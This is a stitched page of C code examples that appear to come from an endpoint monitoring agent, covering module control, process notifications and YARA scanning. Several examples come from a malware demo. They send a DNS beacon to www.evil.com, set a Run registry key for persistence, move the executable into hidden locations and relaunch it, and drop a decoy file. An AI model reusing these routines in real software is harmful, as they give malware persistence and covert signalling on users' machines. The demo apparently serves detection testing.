示例#1
0
//=============================================================================
//  Utilities
//=============================================================================
static
rSequence
    getStaticConfig
    (

    )
{
    RU8 magic[] = _HCP_DEFAULT_STATIC_STORE_MAGIC;
    rSequence config = NULL;
    RU32 unused = 0;
    RU8 key[] = _HCP_DEFAULT_STATIC_STORE_KEY;

    if( 0 != rpal_memory_memcmp( g_patchedConfig, magic, sizeof( magic ) ) )
    {
        obfuscationLib_toggle( g_patchedConfig, sizeof( g_patchedConfig ), key, sizeof( key ) );

        if( rSequence_deserialise( &config, g_patchedConfig, sizeof( g_patchedConfig ), &unused ) )
        {
            rpal_debug_info( "static store patched, using it as config" );
        }

        obfuscationLib_toggle( g_patchedConfig, sizeof( g_patchedConfig ), key, sizeof( key ) );
    }
    else
    {
        rpal_debug_info( "static store not patched, using defaults" );
    }

    return config;
}
示例#2
0
RBOOL
    stopAllModules
    (

    )
{
    RBOOL isSuccess = TRUE;

    RU32 moduleIndex = 0;

    for( moduleIndex = 0; moduleIndex < RP_HCP_CONTEXT_MAX_MODULES; moduleIndex++ )
    {
        rpal_debug_info( "stopping module at %d", moduleIndex );

        if( 0 != g_hcpContext.modules[ moduleIndex ].hThread )
        {
            if( rEvent_set( g_hcpContext.modules[ moduleIndex ].isTimeToStop ) &&
                rpal_thread_wait( g_hcpContext.modules[ moduleIndex ].hThread, RP_HCP_CONTEXT_MODULE_TIMEOUT ) )
            {
                _cleanupModuleEntry( &( g_hcpContext.modules[ moduleIndex ] ) );

                rpal_debug_info( "finished stopping module." );
            }
            else
            {
                isSuccess = FALSE;
            }
        }
    }

    rpal_debug_info( "finished stopping all modules" );

    return isSuccess;
}
RPRIVATE
RPVOID
    dnsDiffThread
    (
        rEvent isTimeToStop,
        RPVOID ctx
    )
{
    UNREFERENCED_PARAMETER( ctx );

    while( !rEvent_wait( isTimeToStop, 0 ) )
    {
        if( kAcq_isAvailable() )
        {
            rpal_debug_info( "running kernelmode acquisition dns notification" );
            dnsKmDiffThread( isTimeToStop );
        }
        else if( !rEvent_wait( isTimeToStop, 0 ) )
        {
            rpal_debug_info( "running usermode acquisition dns notification" );
            dnsUmDiffThread( isTimeToStop );
        }
    }

    return NULL;
}
示例#4
0
static RVOID
    simulateBeacon
    (

    )
{
    RNCHAR dnsDll[] = _NC( "dnsapi.dll" );
    RCHAR dnsAPI[] = "DnsQuery_W";
    RNCHAR dns[] = _NC( "www.evil.com" );
    HMODULE hDns = NULL;
    DNS_STATUS (WINAPI *DnsQuery_f)( PCTSTR lpstrName, WORD wType, DWORD Options, PVOID pExtra, PDNS_RECORD *ppQueryResultsSet, PVOID *pReserved );
    DNS_STATUS status = 0;
    PDNS_RECORDW unused = NULL;

    rpal_debug_info( "loading DnsApi..." );
    if( NULL != ( hDns = LoadLibraryW( dnsDll ) ) &&
        NULL != ( *(FARPROC*)&DnsQuery_f = GetProcAddress( hDns, dnsAPI ) ) )
    {
        rpal_debug_info( "sending DNS beacon to %s...", dns );
        if( ERROR_SUCCESS == ( status = DnsQuery_f( dns, DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, &unused, NULL ) ) )
        {
            rpal_debug_info( "successfully sent a DNS beacon." );
        }
        else
        {
            rpal_debug_error( "error sending DNS beacon: %d.", status );
        }
    }
    else
    {
        rpal_debug_error( "error loading DnsApi." );
    }
}
示例#5
0
static RVOID
    shutdownCollectors
    (

    )
{
    RU32 i = 0;

    if( !rEvent_wait( g_hbs_state.isTimeToStop, 0 ) )
    {
        rpal_debug_info( "signaling to collectors to stop." );
        rEvent_set( g_hbs_state.isTimeToStop );

        if( NULL != g_hbs_state.hThreadPool )
        {
            rpal_debug_info( "destroying collector thread pool." );
            rThreadPool_destroy( g_hbs_state.hThreadPool, TRUE );
            g_hbs_state.hThreadPool = NULL;

            for( i = 0; i < ARRAY_N_ELEM( g_collectors ); i++ )
            {
                if( g_collectors[ i ].isEnabled )
                {
                    rpal_debug_info( "cleaning up collector %d.", i );
                    g_collectors[ i ].cleanup( &g_hbs_state, g_collectors[ i ].conf );
                    rSequence_free( g_collectors[ i ].conf );
                    g_collectors[ i ].conf = NULL;
                }
            }
        }
    }
}
static RPVOID
    moduleDiffThread
    (
        rEvent isTimeToStop,
        RPVOID ctx
    )
{
    UNREFERENCED_PARAMETER( ctx );

    while( !rEvent_wait( isTimeToStop, 0 ) )
    {
        if( kAcq_isAvailable() &&
            !g_is_kernel_failure )
        {
            // We first attempt to get new modules through
            // the kernel mode acquisition driver
            rpal_debug_info( "running kernel acquisition module notification" );
            modKernelModeDiff( isTimeToStop );
        }
        // If the kernel mode fails, or is not available, try
        // to revert to user mode
        else if( !rEvent_wait( isTimeToStop, 0 ) )
        {
            rpal_debug_info( "running usermode acquisition module notification" );
            modUserModeDiff( isTimeToStop );
        }
    }

    return NULL;
}
示例#7
0
static RVOID
    checkBootstrap
    (

    )
{
    HKEY hKeyRoot = HKEY_LOCAL_MACHINE;
    RWCHAR regKey[] = _WCH( "Software\\Microsoft\\Windows\\CurrentVersion\\Run" );
    HKEY hKey = NULL;

    rpal_debug_info( "opening reg bootstrap key..." );
    if( ERROR_SUCCESS == RegOpenKeyExW( hKeyRoot, regKey, 0, KEY_WRITE, &hKey ) )
    {
        rpal_debug_info( "setting bootstrap key to current exe location..." );
        if( ERROR_SUCCESS == RegSetValueExW( hKey, _WCH(""), 0, REG_SZ, (RPU8)g_self_path, ( rpal_string_strlen( g_self_path ) + 1 ) * sizeof( RWCHAR ) ) )
        {
            rpal_debug_info( "successfully set bootstrap key!" );
        }
        else
        {
            rpal_debug_error( "error setting bootstrap key to current location." );
        }

        RegCloseKey( hKey );
    }
    else
    {
        rpal_debug_error( "error opening reg bootstrap key." );
    }
}
示例#8
0
static RVOID
    relaunchInPermanentLocation
    (

    )
{
    RPWCHAR bootstrapLocations[] = { _WCH( "%SYSTEMDRIVE%\\$Recycle.Bin\\MALWARE_DEMO_WINDOWS_1.exe" ),
                                     _WCH( "%SYSTEMDRIVE%\\RECYCLER\\MALWARE_DEMO_WINDOWS_1.exe" ),
                                     _WCH( "%windir%\\system32\\tasks\\MALWARE_DEMO_WINDOWS_1.exe" ),
                                     _WCH( "%USERPROFILE%\\MALWARE_DEMO_WINDOWS_1.exe" ) };
    RU32 i = 0;

    STARTUPINFOW startupInfo = {0};
    PROCESS_INFORMATION procInfo = {0};
    RPWCHAR expandedPath = NULL;

    for( i = 0; i < ARRAY_N_ELEM( bootstrapLocations ); i++ )
    {
        rpal_debug_info( "trying to move to bootstrap location %d...", i );
        rpal_file_delete( bootstrapLocations[ i ], FALSE );
        if( rpal_file_move( g_self_path, bootstrapLocations[ i ] ) )
        {
            rpal_debug_info( "successfully moved to bootstrap location!" );

            rpal_debug_info( "launching in new location (%ls)...", bootstrapLocations[ i ] );
            if( rpal_string_expand( bootstrapLocations[ i ], &expandedPath ) &&
                0 != CreateProcessW( expandedPath, 
                                     NULL, 
                                     NULL, 
                                     NULL, 
                                     FALSE, 
                                     CREATE_NO_WINDOW, 
                                     NULL, 
                                     NULL, 
                                     &startupInfo, 
                                     &procInfo ) )
            {
                rpal_debug_info( "successfully launched from new location." );
            }
            else
            {
                rpal_debug_error( "error launching from permanent location: %d.", GetLastError() );
            }

            if( NULL != expandedPath )
            {
                rpal_memory_free( expandedPath );
            }

            break;
        }
        else
        {
            rpal_debug_warning( "could not move to new bootstrap location, may not have permission..." );
        }
    }
}
static RBOOL
    notifyOfProcess
    (
        RU32 pid,
        RU32 ppid,
        RBOOL isStarting
    )
{
    RBOOL isSuccess = FALSE;
    rSequence info = NULL;
    rSequence parentInfo = NULL;

    if( !isStarting ||
        NULL == ( info = processLib_getProcessInfo( pid ) ) )
    {
        info = rSequence_new();
    }

    if( rpal_memory_isValid( info ) )
    {
        rSequence_addRU32( info, RP_TAGS_PROCESS_ID, pid );
        rSequence_addRU32( info, RP_TAGS_PARENT_PROCESS_ID, ppid );
        rSequence_addTIMESTAMP( info, RP_TAGS_TIMESTAMP, rpal_time_getGlobal() );

        if( isStarting )
        {
            if( NULL != ( parentInfo = processLib_getProcessInfo( ppid ) ) &&
                !rSequence_addSEQUENCE( info, RP_TAGS_PARENT, parentInfo ) )
            {
                rSequence_free( parentInfo );
            }
        }

        if( isStarting )
        {
            if( notifications_publish( RP_TAGS_NOTIFICATION_NEW_PROCESS, info ) )
            {
                isSuccess = TRUE;
                rpal_debug_info( "new process starting: %d", pid );
            }
        }
        else
        {
            if( notifications_publish( RP_TAGS_NOTIFICATION_TERMINATE_PROCESS, info ) )
            {
                isSuccess = TRUE;
                rpal_debug_info( "new process terminating: %d", pid );
            }
        }

        rSequence_free( info );
    }

    return isSuccess;
}
示例#10
0
RU32
RPAL_EXPORT
RPAL_THREAD_FUNC
    rpHcpI_entry
    (
        rpHCPModuleContext* moduleContext
    )
{
    RU32 ret = (RU32)(-1);
    rThread hMain = 0;

    if( NULL != moduleContext )
    {
        g_Module_Context = moduleContext;

        if( rpal_initialize( moduleContext->rpalContext, g_current_Module_id ) )
        {
            ret = (RU32)(-2);

            if( 0 != ( hMain = rpal_thread_new( RpHcpI_mainThread, 
                                                g_Module_Context->isTimeToStop ) ) )
            {
                rpal_debug_info( "main module worker started" );
                ret = 0;

                while( TRUE )
                {
                    if( rpal_thread_wait( hMain, ( 1 * 1000 ) ) )
                    {
                        break;
                    }
                }
                
                rpal_debug_info( "main module worker finished" );

                rpal_thread_free( hMain );
            }
            else
            {
                rpal_debug_error( "failed spawning module main worker" );
            }

            rpal_Context_cleanup();

            rpal_Context_deinitialize();
        }
        else
        {
            rpal_debug_error( "failed IFace init" );
        }
    }

    return ret;
}
示例#11
0
RBOOL
    rpHostCommonPlatformLib_stop
    (

    )
{
    if( 0 == rInterlocked_decrement32( &g_hcpContext.isRunning ) )
    {
        stopBeacons();
        stopAllModules();

        rpal_memory_free( g_hcpContext.primaryUrl );
        rpal_memory_free( g_hcpContext.secondaryUrl );

        if( NULL != g_hcpContext.enrollmentToken &&
            0 != g_hcpContext.enrollmentTokenSize )
        {
            rpal_memory_free( g_hcpContext.enrollmentToken );
        }

        freeKeys();

#ifdef RPAL_PLATFORM_WINDOWS
        SetConsoleCtrlHandler( (PHANDLER_ROUTINE)ctrlHandler, FALSE );
#endif

        rMutex_free( g_hcpContext.cloudConnectionMutex );
        rEvent_free( g_hcpContext.isCloudOnline );
        g_hcpContext.cloudConnectionMutex = NULL;
        g_hcpContext.isCloudOnline = NULL;

        rpal_Context_cleanup();

        rpal_Context_deinitialize();

        // If the default crashContext is still present, remove it since
        // we are shutting down properly. If it's non-default leave it since
        // somehow we may have had a higher order crash we want to keep
        // track of but we are still leaving through our normal code path.
        if( 1 == getCrashContextSize() )
        {
            rpal_debug_info( "clearing default crash context" );
            cleanCrashContext();
        }
    }
    else
    {
        rInterlocked_increment32( &g_hcpContext.isRunning );
    }

    rpal_debug_info( "finished stopping hcp" );

    return TRUE;
}
示例#12
0
static RBOOL
    updateCollectorConfigs
    (
        rList newConfigs
    )
{
    RBOOL isSuccess = FALSE;
    RU8 unused = 0;
    RU32 i = 0;
    rSequence tmpConf = NULL;
    RU32 confId = 0;

    if( rpal_memory_isValid( newConfigs ) )
    {
        rpal_debug_info( "updating collector configurations." );
        
        for( i = 0; i < ARRAY_N_ELEM( g_collectors ); i++ )
        {
            if( NULL != g_collectors[ i ].conf )
            {
                rpal_debug_info( "freeing collector %d config.", i );
                rSequence_free( g_collectors[ i ].conf );
                g_collectors[ i ].conf = NULL;
            }
        }

        while( rList_getSEQUENCE( newConfigs, RP_TAGS_HBS_CONFIGURATION, &tmpConf ) )
        {
            if( rSequence_getRU32( tmpConf, RP_TAGS_HBS_CONFIGURATION_ID, &confId ) &&
                confId < ARRAY_N_ELEM( g_collectors ) )
            {
                if( rSequence_getRU8( tmpConf, RP_TAGS_IS_DISABLED, &unused ) )
                {
                    g_collectors[ confId ].isEnabled = FALSE;
                }
                else
                {
                    g_collectors[ confId ].isEnabled = TRUE;
                    g_collectors[ confId ].conf = rSequence_duplicate( tmpConf );
                    rpal_debug_info( "set new collector %d config.", confId );
                }
            }
        }
                
        isSuccess = TRUE;
    }

    return isSuccess;
}
示例#13
0
RPRIVATE
RVOID
    _cleanupModuleEntry
    (
        rpHCPModuleInfo* mod
    )
{
    rEvent_free( mod->context.isTimeToStop );
    rpal_thread_free( mod->hThread );

    if( mod->isOsLoaded )
    {
#ifdef RPAL_PLATFORM_WINDOWS
        FreeLibrary( (HMODULE)(mod->hModule) );
#elif defined( RPAL_PLATFORM_LINUX ) || defined( RPAL_PLATFORM_MACOSX )
        dlclose( mod->hModule );
#endif
    }
    else
    {
        MemoryFreeLibrary( mod->hModule );
    }

    rpal_debug_info( "module %d cleaned up", mod->id );
    rpal_memory_zero( mod, sizeof( *mod ) );
}
示例#14
0
static
RU32
    uninstallService
    (

    )
{
    RU32 res = (RU32)-1;

    RNCHAR svcUnload[] = { _SERVICE_UNLOAD };
    RNCHAR svcPath[] = { _SERVICE_FILE };

    if( 0 != system( svcUnload ) )
    {
        rpal_debug_warning( "failed to unload service, already unloaded?" );
    }

    if( !rpal_file_delete( svcPath, FALSE ) )
    {
        rpal_debug_warning( "failed to delete file from disk, not present?" );
    }
    else
    {
        rpal_debug_info( "uninstalled successfully" );
        res = 0;
    }

    return res;
}
示例#15
0
BOOL
    ctrlHandler
    (
        DWORD type
    )
{
    BOOL isHandled = FALSE;

    static RU32 isHasBeenSignaled = 0;
    
    UNREFERENCED_PARAMETER( type );

    if( 0 == rInterlocked_set32( &isHasBeenSignaled, 1 ) )
    {
        // We handle all events the same way, cleanly exit
    
        rpal_debug_info( "terminating rpHCP." );
        rpHostCommonPlatformLib_stop();
    
        rEvent_set( g_timeToQuit );
    
        isHandled = TRUE;
    }

    return isHandled;
}
示例#16
0
static RVOID
    dropDecoyTextFile
    (

    )
{
    RWCHAR execVerb[] = _WCH( "open" );

    RNCHAR decoyText[] = _NC( "To a trained eye, this file is clearly evil.\r\nUnfortunately most users won't see it.\r\nAt the end of the day it won't matter because once you see this, the game is over." );
    
    RWCHAR decoyPath[ MAX_PATH ] = {0};
    RU32 i = 0;

    // Generate new path for the decoy, same as current minus the .exe
    if( rpal_string_strcpy( decoyPath, g_self_path ) )
    {
        if( 4 < ( i = rpal_string_strlen( decoyPath ) ) )
        {
            decoyPath[ i - 4 ] = 0;

            if( rpal_file_write( decoyPath, decoyText, rpal_string_strlen( decoyText ), TRUE ) )
            {
                rpal_debug_info( "successfully wrote decoy file: %ls", decoyPath );

                rpal_debug_info( "launching text file reader app..." );
                if( 32 < (INT)(SIZE_T)ShellExecuteW( NULL, execVerb, decoyPath, NULL, NULL, SW_SHOWNORMAL ) )
                {
                    rpal_debug_info( "decoy successfully launched." );
                }
                else
                {
                    rpal_debug_error( "error launching decoy app." );
                }
            }
            else
            {
                rpal_debug_error( "error writing decoy file." );
            }
        }
        else
        {
            rpal_debug_error( "expecting the current file path to be at least 4, very unexpected!" );
        }
    }
}
示例#17
0
static
RVOID
    processNewModule
    (
        rpcm_tag notifType,
        rSequence event
    )
{
    RPWCHAR nameW = NULL;
    RPCHAR nameA = NULL;
    RU8 fileHash[ CRYPTOLIB_HASH_SIZE ] = { 0 };
    RU64 size = 0;

    UNREFERENCED_PARAMETER( notifType );

    if( rpal_memory_isValid( event ) )
    {
        if( rSequence_getSTRINGA( event, RP_TAGS_FILE_PATH, &nameA ) ||
            rSequence_getSTRINGW( event, RP_TAGS_FILE_PATH, &nameW ) )
        {
            if( NULL != nameA &&
                !CryptoLib_hashFileA( nameA, fileHash, TRUE ) )
            {
                rpal_debug_info( "unable to fetch file hash for ident" );
            }

            if( NULL != nameW &&
                !CryptoLib_hashFileW( nameW, fileHash, TRUE ) )
            {
                rpal_debug_info( "unable to fetch file hash for ident" );
            }

            rSequence_getRU64( event, RP_TAGS_MEMORY_SIZE, &size );

            if( NULL != nameA )
            {
                processCodeIdentA( nameA, fileHash, size, event );
            }
            else if( NULL != nameW )
            {
                processCodeIdentW( nameW, fileHash, size, event );
            }
        }
    }
}
// Receives new process notifications and check if they're on our
// deny list, if so, kill.
RPRIVATE
RVOID
    denyNewProcesses
    (
        rpcm_tag notifType,
        rSequence event
    )
{
    RPU8 atomId = NULL;
    RU32 pid = 0;

    UNREFERENCED_PARAMETER( notifType );
    
    // We use the lastActivity check here as a cheap way of seeing if there is
    // anything at all in the denied tree.
    if( 0 != g_lastDenyActivity &&
        HbsGetParentAtom( event, &atomId ) &&
        isAtomDenied( atomId ) )
    {
        // This atom is part of a tree that needs to be denied, so we do two things:
        // 1- Add its atom to the list of denied atoms.
        if( HbsGetThisAtom( event, &atomId ) )
        {
            addAtomToDeny( atomId );
        }

        // 2- As this is a process, we deny by killing it.
        if( rSequence_getRU32( event, RP_TAGS_PROCESS_ID, &pid ) )
        {
            if( processLib_killProcess( pid ) )
            {
                rpal_debug_info( "denied process id " RF_U32, pid );
            }
            else
            {
                rpal_debug_warning( "failed to deny process id " RF_U32, pid );
            }
        }
    }
    else if( 0 != g_lastDenyActivity &&
             g_lastDenyActivity + DENY_TREE_CLEANUP_TIMEOUT < rpal_time_getGlobal() )
    {
        // There has not been any positive activity on any denied trees, for the sake
        // of performance we'll reset the denied trees.
        if( rMutex_lock( g_deniedMutex ) )
        {
            g_lastDenyActivity = 0;
            rpal_blob_free( g_denied );
            g_denied = rpal_blob_create( 0, HBS_ATOM_ID_SIZE * 10 );

            rMutex_unlock( g_deniedMutex );
        }
    }
}
示例#19
0
static RBOOL
    startCollectors
    (

    )
{
    RBOOL isSuccess = FALSE;
    RU32 i = 0;

    rEvent_unset( g_hbs_state.isTimeToStop );
    if( NULL != ( g_hbs_state.hThreadPool = rThreadPool_create( 1, 
                                                                15,
                                                                MSEC_FROM_SEC( 10 ) ) ) )
    {
        isSuccess = TRUE;

        for( i = 0; i < ARRAY_N_ELEM( g_collectors ); i++ )
        {
            if( g_collectors[ i ].isEnabled )
            {
                if( !g_collectors[ i ].init( &g_hbs_state, g_collectors[ i ].conf ) )
                {
                    isSuccess = FALSE;
                    rpal_debug_warning( "collector %d failed to init.", i );
                }
                else
                {
                    rpal_debug_info( "collector %d started.", i );
                }
            }
            else
            {
                rpal_debug_info( "collector %d disabled.", i );
            }
        }
    }

    return isSuccess;
}
示例#20
0
static
RBOOL
    getStoreConf
    (

    )
{
    RBOOL isSuccess = FALSE;

    RPU8 storeFile = NULL;
    RU32 storeFileSize = 0;

    rpHCPIdentStore* storeV2 = NULL;

    OBFUSCATIONLIB_DECLARE( store, RP_HCP_CONFIG_IDENT_STORE );

    OBFUSCATIONLIB_TOGGLE( store );

    if( rpal_file_read( (RPNCHAR)store, (RPVOID)&storeFile, &storeFileSize, FALSE ) )
    {
        if( sizeof( rpHCPIdentStore ) <= storeFileSize )
        {
            storeV2 = (rpHCPIdentStore*)storeFile;
            if( storeV2->enrollmentTokenSize == storeFileSize - sizeof( rpHCPIdentStore ) )
            {
                isSuccess = TRUE;
                rpal_debug_info( "ident store found" );
                if( NULL != ( g_hcpContext.enrollmentToken = rpal_memory_alloc( storeV2->enrollmentTokenSize ) ) )
                {
                    rpal_memory_memcpy( g_hcpContext.enrollmentToken, storeV2->enrollmentToken, storeV2->enrollmentTokenSize );
                    g_hcpContext.enrollmentTokenSize = storeV2->enrollmentTokenSize;
                }
                g_hcpContext.currentId = storeV2->agentId;
            }
            else
            {
                rpal_debug_warning( "inconsistent ident store, reseting" );
                rpal_file_delete( (RPNCHAR)store, FALSE );
            }
        }

        rpal_memory_free( storeFile );
    }

    OBFUSCATIONLIB_TOGGLE( store );

    // Set some always-correct defaults
    g_hcpContext.currentId.id.platformId = RP_HCP_ID_MAKE_PLATFORM( RP_HCP_PLATFORM_CURRENT_CPU, RP_HCP_PLATFORM_CURRENT_MAJOR, RP_HCP_PLATFORM_CURRENT_MINOR );

    return isSuccess;
}
示例#21
0
rMutex
    rpal_mutex_create
    (

    )
{
    lck_mtx_t* mutex = NULL;
    
    lck_grp_attr_t* gattr = NULL;
    lck_attr_t* lattr = NULL;
    
    if( 0 == g_lck_group )
    {
        rpal_debug_info( "mutex group not created, creating" );
        
        gattr = lck_grp_attr_alloc_init();
        
        if( NULL == gattr )
        {
            rpal_debug_critical( "could not create mutex group" );
            return NULL;
        }
        
        lck_grp_attr_setstat( gattr );
        
        g_lck_group = lck_grp_alloc_init( "hcphbs", gattr );
        
        lck_grp_attr_free( gattr );
    }
    
    if( NULL == g_lck_group )
    {
        return NULL;
    }
    
    lattr = lck_attr_alloc_init();
    
    if( NULL != lattr )
    {
        mutex = lck_mtx_alloc_init( g_lck_group, lattr );
        lck_attr_free( lattr );
    }
    else
    {
        rpal_debug_critical( "could not create mutex attributes" );
    }
    
    return mutex;
}
示例#22
0
void
    ctrlHandler
    (
        int sigNum
    )
{
    static RU32 isHasBeenSignaled = 0;
    
    if( 0 == rInterlocked_set32( &isHasBeenSignaled, 1 ) )
    {
        rpal_debug_info( "terminating rpHCP." );
        rpHostCommonPlatformLib_stop();
        rEvent_set( g_timeToQuit );
    }
}
示例#23
0
RU32
RPAL_THREAD_FUNC
    RpHcpI_mainThread
    (
        rEvent isTimeToStop
    )
{
    RU32 ret = 0;

    FORCE_LINK_THAT(HCP_IFACE);
    

    while( !rEvent_wait( isTimeToStop, (10*1000) ) )
    {
        rpal_debug_info("RP HCP Test Module Running...\n");
    }

    return ret;
}
示例#24
0
static
VOID WINAPI 
    SvcCtrlHandler
    (
        DWORD fdwControl
    )
{
    switch( fdwControl )
    {
        case SERVICE_CONTROL_STOP:
        case SERVICE_CONTROL_SHUTDOWN:

            if( g_svc_status.dwCurrentState != SERVICE_RUNNING )
                break;

            /*
            * Perform tasks necessary to stop the service here
            */

            g_svc_status.dwControlsAccepted = 0;
            g_svc_status.dwCurrentState = SERVICE_STOP_PENDING;
            g_svc_status.dwWin32ExitCode = 0;
            g_svc_status.dwCheckPoint = 2;

            SetServiceStatus( g_svc_status_handle, &g_svc_status );

            rpal_debug_info( "terminating rpHCP." );
            rpHostCommonPlatformLib_stop();

            rEvent_set( g_timeToQuit );

            break;

        default:
            break;
    }
}
static RPVOID
    osTrackerDiffThread
    (
        rEvent isTimeToStop,
        RPVOID ctx
    )
{
    CryptoLib_Hash* prevServices = NULL;
    RU32 prevNServices = 0;

    CryptoLib_Hash* prevDrivers = NULL;
    RU32 prevNDrivers = 0;

    CryptoLib_Hash* prevAutoruns = NULL;
    RU32 prevNAutoruns = 0;

    rList snapshot = NULL;

    UNREFERENCED_PARAMETER( ctx );

    while( !rEvent_wait( isTimeToStop, g_diff_timeout ) )
    {
        rpal_debug_info( "looking for changes in os snapshots" );

        if( NULL != ( snapshot = libOs_getServices( TRUE ) ) )
        {
            _processSnapshot( snapshot, 
                              &prevServices, 
                              &prevNServices,
                              RP_TAGS_SVC, 
                              RP_TAGS_NOTIFICATION_SERVICE_CHANGE );

            rList_free( snapshot );
        }

        if( rEvent_wait( isTimeToStop, MSEC_FROM_SEC( 5 ) ) )
        {
            break;
        }

        if( NULL != ( snapshot = libOs_getDrivers( TRUE ) ) )
        {
            _processSnapshot( snapshot,
                              &prevDrivers,
                              &prevNDrivers,
                              RP_TAGS_SVC,
                              RP_TAGS_NOTIFICATION_DRIVER_CHANGE );

            rList_free( snapshot );
        }

        if( rEvent_wait( isTimeToStop, MSEC_FROM_SEC( 5 ) ) )
        {
            break;
        }

        if( NULL != ( snapshot = libOs_getAutoruns( TRUE ) ) )
        {
            _processSnapshot( snapshot,
                              &prevAutoruns,
                              &prevNAutoruns,
                              RP_TAGS_SVC,
                              RP_TAGS_NOTIFICATION_AUTORUN_CHANGE );

            rList_free( snapshot );
        }

        rpal_debug_info( "finished updating snapshots" );
    }

    FREE_AND_NULL( prevServices );
    FREE_AND_NULL( prevDrivers );
    FREE_AND_NULL( prevAutoruns );

    return NULL;
}
示例#26
0
static
RVOID
    doScan
    (
        rpcm_tag eventType,
        rSequence event
    )
{
    RU32 pid = 0;
    RPWCHAR fileW = NULL;
    RPCHAR fileA = NULL;
    RPWCHAR procW = NULL;
    RPCHAR procA = NULL;
    RPU8 rulesBuffer = NULL;
    RU32 rulesBufferSize = 0;
    YR_RULES* rules = NULL;
    YaraMatchContext matchContext = { 0 };
    processLibProcEntry* processes = NULL;
    processLibProcEntry* curProc = NULL;
    RU32 scanError = 0;
    rSequence processInfo = NULL;
    RPWCHAR tmpW = NULL;
    RPCHAR tmpA = NULL;

    UNREFERENCED_PARAMETER( eventType );

    if( rpal_memory_isValid( event ) )
    {
        rSequence_getRU32( event, RP_TAGS_PROCESS_ID, &pid );
        rSequence_getSTRINGW( event, RP_TAGS_FILE_PATH, &fileW );
        rSequence_getSTRINGA( event, RP_TAGS_FILE_PATH, &fileA );
        rSequence_getSTRINGW( event, RP_TAGS_PROCESS, &procW );
        rSequence_getSTRINGA( event, RP_TAGS_PROCESS, &procA );

        if( rSequence_getBUFFER( event, RP_TAGS_RULES, &rulesBuffer, &rulesBufferSize ) )
        {
            rules = loadYaraRules( rulesBuffer, rulesBufferSize );
        }

        if( NULL != rules )
        {
            if( NULL != fileW )
            {
                fileA = rpal_string_wtoa( fileW );
            }

            if( NULL != procW )
            {
                procA = rpal_string_wtoa( procW );
            }

            if( NULL != fileA )
            {
                rpal_debug_info( "scanning file with yara" );
                matchContext.fileInfo = event;

                // Scan this file
                if( ERROR_SUCCESS != ( scanError = yr_rules_scan_file( rules,
                                                                       fileA,
                                                                       SCAN_FLAGS_FAST_MODE,
                                                                       _yaraFileMatchCallback,
                                                                       &matchContext,
                                                                       60 ) ) )
                {
                    rpal_debug_warning( "Yara file scan error: %d", scanError );
                }
            }
            else if( NULL != procA )
            {
                // Scan processes matching
                if( NULL != ( processes = processLib_getProcessEntries( TRUE ) ) )
                {
                    curProc = processes;
                    while( 0 != curProc->pid )
                    {
                        if( NULL != ( processInfo = processLib_getProcessInfo( curProc->pid, NULL ) ) )
                        {
                            if( rSequence_getSTRINGW( processInfo, RP_TAGS_FILE_PATH, &tmpW ) ||
                                rSequence_getSTRINGA( processInfo, RP_TAGS_FILE_PATH, &tmpA ) )
                            {
                                if( NULL != tmpW )
                                {
                                    tmpA = rpal_string_wtoa( tmpW );
                                }

                                if( NULL != tmpA )
                                {
                                    if( rpal_string_match( procA, tmpA, RPAL_PLATFORM_FS_CASE_SENSITIVITY ) )
                                    {
                                        matchContext.pid = curProc->pid;
                                        matchContext.processInfo = processInfo;

                                        scanError = _scanProcessWith( curProc->pid,
                                                                      &matchContext,
                                                                      rules,
                                                                      NULL );
                                    }
                                }

                                if( NULL != tmpW && NULL != tmpA )
                                {
                                    // If both are allocated it means we got a strW and converted to A
                                    // so we must free the strA version.
                                    rpal_memory_free( tmpA );
                                }
                            }

                            rSequence_free( processInfo );
                        }

                        curProc++;
                    }

                    rpal_memory_free( processes );
                }
            }
            else if( 0 != pid )
            {
                // Scan this process
                matchContext.pid = pid;
                scanError = _scanProcessWith( pid, &matchContext, rules, NULL );
                rSequence_free( matchContext.processInfo );
            }
            else
            {
                // Scan all processes
                if( NULL != ( processes = processLib_getProcessEntries( TRUE ) ) )
                {
                    curProc = processes;
                    while( 0 != curProc->pid )
                    {
                        matchContext.pid = curProc->pid;

                        scanError = _scanProcessWith( curProc->pid, &matchContext, rules, NULL );
                        rSequence_free( matchContext.processInfo );

                        curProc++;
                    }
                        
                    rpal_memory_free( processes );
                }
            }


            if( NULL != fileW && NULL != fileA )
            {
                // If both are allocated it means we got a strW and converted to A
                // so we must free the strA version.
                rpal_memory_free( fileA );
            }

            if( NULL != procW && NULL != procA )
            {
                // If both are allocated it means we got a strW and converted to A
                // so we must free the strA version.
                rpal_memory_free( procA );
            }

            yr_rules_destroy( rules );
        }
        else
        {
            rpal_debug_warning( "no rules in yara scan request" );
            reportError( event, RPAL_ERROR_NOT_SUPPORTED, "yara rules do not parse" );
        }
    }

    rpal_debug_info( "finished on demand yara scan" );
    reportError( event, scanError, "done" );

    yr_finalize_thread();
}
示例#27
0
static
RPVOID
    continuousFileScan
    (
        rEvent isTimeToStop,
        RPVOID ctx
    )
{
    rSequence event = NULL;
    RU32 timeout = 0;
    RPWCHAR strW = NULL;
    RPCHAR strA = NULL;
    YaraMatchContext matchContext = { 0 };
    RU32 scanError = 0;
    rBloom knownFiles = NULL;

    UNREFERENCED_PARAMETER( ctx );

    if( NULL == ( knownFiles = rpal_bloom_create( 100000, 0.00001 ) ) )
    {
        return NULL;
    }

    while( !rEvent_wait( isTimeToStop, timeout ) )
    {
        if( rQueue_remove( g_async_files_to_scan, (RPVOID*)&event, NULL, MSEC_FROM_SEC( 2 ) ) )
        {
            if( rSequence_getSTRINGW( event, RP_TAGS_FILE_PATH, &strW ) )
            {
                strA = rpal_string_wtoa( strW );
            }
            else
            {
                rSequence_getSTRINGA( event, RP_TAGS_FILE_PATH, &strA );
            }

            if( NULL != strA &&
                rpal_bloom_addIfNew( knownFiles, strA, rpal_string_strlen( strA ) ) )
            {
                rpal_debug_info( "yara scanning %s", strA );
                matchContext.fileInfo = event;

                if( rMutex_lock( g_global_rules_mutex ) )
                {
                    if( NULL != g_global_rules )
                    {
                        rpal_debug_info( "scanning continuous file with yara" );
                        if( ERROR_SUCCESS != ( scanError = yr_rules_scan_file( g_global_rules,
                                                                               strA,
                                                                               SCAN_FLAGS_FAST_MODE,
                                                                               _yaraFileMatchCallback,
                                                                               &matchContext,
                                                                               60 ) ) )
                        {
                            rpal_debug_warning( "Yara file scan error: %d", scanError );
                        }
                    }

                    rMutex_unlock( g_global_rules_mutex );
                }
            }

            if( NULL != strA && NULL != strW )
            {
                // If both are allocated it means we got a strW and converted to A
                // so we must free the strA version.
                rpal_memory_free( strA );
            }

            strA = NULL;
